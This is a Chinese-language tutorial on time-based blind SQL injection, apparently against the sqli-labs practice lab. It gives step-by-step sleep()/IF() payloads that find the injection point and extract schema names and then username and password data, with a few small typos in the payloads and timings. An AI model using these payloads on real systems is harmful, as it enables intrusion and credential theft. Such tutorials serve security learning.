#时间盲注
时间盲注 :
Web界面只会返回一个正常的界面。利用页面响应的时间不同,逐渐猜解数据是否存在注入点。
使用场景:
1.界面没有回显
2.界面没有报错信息
3.界面没有真假值
举个例子:一个页面如果有回显的话,我们优先考虑union注入。如果没有回显的话,但是有报错信息的话,我们使用报错注入(extracvalue,floor,updatexml等)。如果没有回显,也没有报错信息的话,但是他 的页面有真值和假值这两种来回切换的状态的话,根据我们所输入的代码反馈结果的不同,我们就可以选择布尔盲注。如果以上都没有就可以使用时间注入
#关键函数介绍
1.Sleep()
Sleep()参数为休眠时间,以秒为单位,可以为小数
首先写入参数?id=1
页面 正常
在后面随便写一顿乱七八糟的,页面还是正常
就是不管你怎么写都是正常。一般在实际情况下就是你使用了各种闭合方式的判断或者其他判断,他页面不管怎么样都是正常的
此时我们也不知道他到底有没有注入点,只能一个一个进行尝试
使用sleep()进行数字型尝试
url:id=1 and sleep(5)
假设他是数字型的,那我们就先 使用and sleep(5)这个函数,如果他返回页面的时间是5秒后加载出来的页面,那么就证明他是数字型的,并且又注入点,因为他对我们输入的内容进行执行了。
从界面看出来他没有延迟5秒以后返回结果。
使用sleep()进行字符型尝试
字符串第一次 " 尝试
url:id=1" and sleep(5) --+
没有延迟
字符串第二次 ' 尝试
url:?id=1' and sleep(5) --+
页面返回时间为6038毫秒
出去我们自身网速的1000毫秒
延迟了5秒,确定存在注入点
说明我们输入语句他执行了,以此判断存在SQL注入点
2.IF()函数
IF(condition,ture,false):condition为条件,ture当条件真返回的值,false当条件为假返回的值
Select if(1,2,3);
select if(1=1,sleep(0),sleep(3)); 如果1=1这个条件为真的话,那么就执行sleep(0)。如果1=1为假的话那么就执行sleep(3)
首先第一个参数是在进行比大小,原来在我们布尔盲注里面是通过比大小的方式,来根据页面真假值的两种切换状态来比较,判断我们的条件是否成立。所以现在我们只能使用
sleep()这个函数的响应时间来进行判断我们的条件是否成立。
#案例演示
1.判断数字型还是字符,如果是字符型 确定闭合方式,判断是否存在注入点
play load :
and sleep(5);
url:?id=1' and sleep(5) --+
延迟了5秒,确定存在注入点
使用’ 单引号闭合
2.判断数据库名长度
play load
and if(length(database())>=10,sleep(0),sleep(3))
使用函数
length():长度
database():正在使用的数据库
url:?id=1' and if(length(database())>=10,sleep(0),sleep(3)) --+
判断数据库的长度是否大于或者等着10个字符,如果大于的话暂停0秒后返回结果,如果不大于10个字符的话暂停3秒后返回结果
页面情况,暂停了3秒,说明他小于10,那么说明他的数据名在10个字符以内
Url:
?id=1’ if(length(database())=8,sleep(0),sleep(3)) --+
页面回显时间1031秒,没有延迟 确定数据名为8个字符
3.确定数据库名
play load
and if(Ord(Substr(database(),1,1))>=x,sleep(0),sleep(3))
使用函数
if(1,2,3):判断语句,1为条件,如果条件为真的话执行2的参数。如果1为假执行3的参数
ord():将括号内的内容转换成ascii码
substr(s,n,1)截取字符串s,从n的 位置开始截,截图一个字符的长度
确定数据库名的第一个字符
url:?id=1' and if(ord(substr(database(),1,1))>=100,sleep(0),sleep(3)) --+
截取数据库名的第一个字符,判断是否大于100,如果大于100的话页面暂停0秒返回页面
通过页面加载时间确定大于100
通过页面加载时间确定大于110
.......
通过页面时间确定,第一个字符的ascii码值为115
经过码表对比
115=s
以上结论一个字符为s
确定数据库名的第二个字符
?id=1' and if(ord(substr(database(),2,1))=101,sleep(0),sleep(3))--+
通过时间的判断,确定第二个字符的ascii码是101
经过码表对比
101=e
以上结论二个字符为e
.......后面的内容你们自己尝试去,只要把substr()的第二个参数进行更改就好了
最终确定数据库名为security
4.获取数据表信息
4.1获取所有数据表名拼接成的字符串长度
play load
and if(length((select group_concat(table_name)from information_schema.tables where table_schema=database()))>=x,sleep(0),sleep(3))
url:
?id=1'and if(length((select group_concat(table_name)from 20 information_schema.tables where table_schema=database()))=29,sleep(0),sleep(3)) --+
判断数据表名拼接成的字符串长度是否为29
根据时间响应判断,确定数据名表名为29个字符
4.2猜解数据表名字符串每一个字符
play load
and if(ord(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),n,1))>=100,sleep(0),sleep(3))
查询数据表第一个字符
url:
?id=1'and if(ord(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,1))>=110,sleep(0),sleep(3))--+
判断数据表的第一个字符是否大于110
经过响应时间确定,不大于110
url:
?id=1'and if(ord(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,1))>=100,sleep(0),sleep(3))--+
判断数据表名第一个字符是否大于100
通过页面响应的时间差确定大于100,小于110,那么就说明在100-110之间
url:
?id=1'and if(ord(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,1))=101,sleep(0),sleep(3))--+
通过时间响应,确定数据表名第一个字符的ascii值为101
通过ascii码表查询
101转换结果为e
确定数据表第一个字符为e
查询数据表第二个字符
?id=1' and if(ord(substr((select group_concat(table_name)from information_schema.tables where table_name=database()),2,1))>100,sleep(0),sleep(3)) --+
判断数据表第二个字符是否大于100
通过时间差判断,大于100
url:
?id=1' and if(ord(substr((select group_concat(table_name)from information_schema.tables where table_name=database()),2,1))>=110,sleep(0),sleep(3)) --+
通过响应时间判断不大于110
确定第二个字符在100-110之间
从 100-110一个一个进行测试
url:
?id=1'and if(ord(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),2,1))=109,sleep(0),sleep(3))--+
通过时间响应,确定数据表名第一个字符的ascii值为109
通过ascii码表查询
109转换结果为m
确定数据表第二个字符为m
....................
一样的步骤,只要替换substr()第二个参数就行了
最终得到的所有数据表为
emails,
referers,
uagents,
users
5.查询users数据表中的所有字段信息
5.1获取所有字段名拼接成的字符串的长度
play load
and if(length((select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'))>=n,sleep(0),sleep(3))
url:
?id=1' and if(length((select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'))>=20,sleep(0),sleep(3)) --+
判断拼接的字段名是否大于20个字符
经常页面的时间查判断,确定大于20个字符
url:
?id=1' and if(length((select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'))>=30,sleep(0),sleep(3)) --+
通过页面时间响应判断,字符不大于30
推算字段名在20-30个字符中间
url:
?id=1' and if(length((select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'))=20,sleep(0),sleep(3)) --+
通过页面时间差来判断,确定字段长度为20个字符串
5.2判断拼接字段字符(对字段拼接成的字符串的每一个字符进行猜解)
paly load
and if(ord(substr((select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='数据表'),n,1))>=x,sleep(0),sleep(3))
?id=1'and if(ord(substr((select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),1,1))>=110,sleep(0),sleep(3)) --+
判断拼接的字段名第一个字符,是否大于110
通过页面时间差来判断,不大于110
url:
?id=1'and if(ord(substr((select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),1,1))>=100,sleep(0),sleep(3)) --+
通过页面时间差来判断,第一个字符大于100但是又小于110
100-110之间
url:
?id=1'and if(ord(substr((select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105,sleep(0),sleep(3)) --+
通过时间响应判断第一个字符为105
通过码表对比
105=i
............
后面也是一样的测试方式,更改substr(1,2,3)第二个参数就好了
以下为所有字段
id,
username,
password
6.拖库
1.判断字段长度(获取username和password字段拼接成字符串的总长度)
play load
?id=1'and if(LENGTH((SELECT GROUP_CONCAT(字段1,'--',p字段2) FROM 数据库.数据表))>=x,sleep(0),sleep(3))
?id=1'and if(LENGTH((SELECT GROUP_CONCAT(username,'--',password) FROM security.users))=201,sleep(0),sleep(3))--+
根本响应时间确定,凭借的字段信息长度为字段长度201个字符
2. 对字段名中的数据进行每个字符的猜解
play load
and if( ORD(SUBSTR((SELECT GROUP_CONCAT(字段1,'--',字段) from 数据库.数据表),n,1))>=x,sleep(0),sleep(3))
?id=1'and if( ORD(SUBSTR((SELECT GROUP_CONCAT(username,'--',password) from security.users),1,1))=68,sleep(0),sleep(3))--+
从响应时间判断第一个字符的ascii码为68
68=D
.................................................................
以下就这么去判断,拜拜太多了,不想测了,如果有好奇心太强的宝宝就去sqlmap跑一下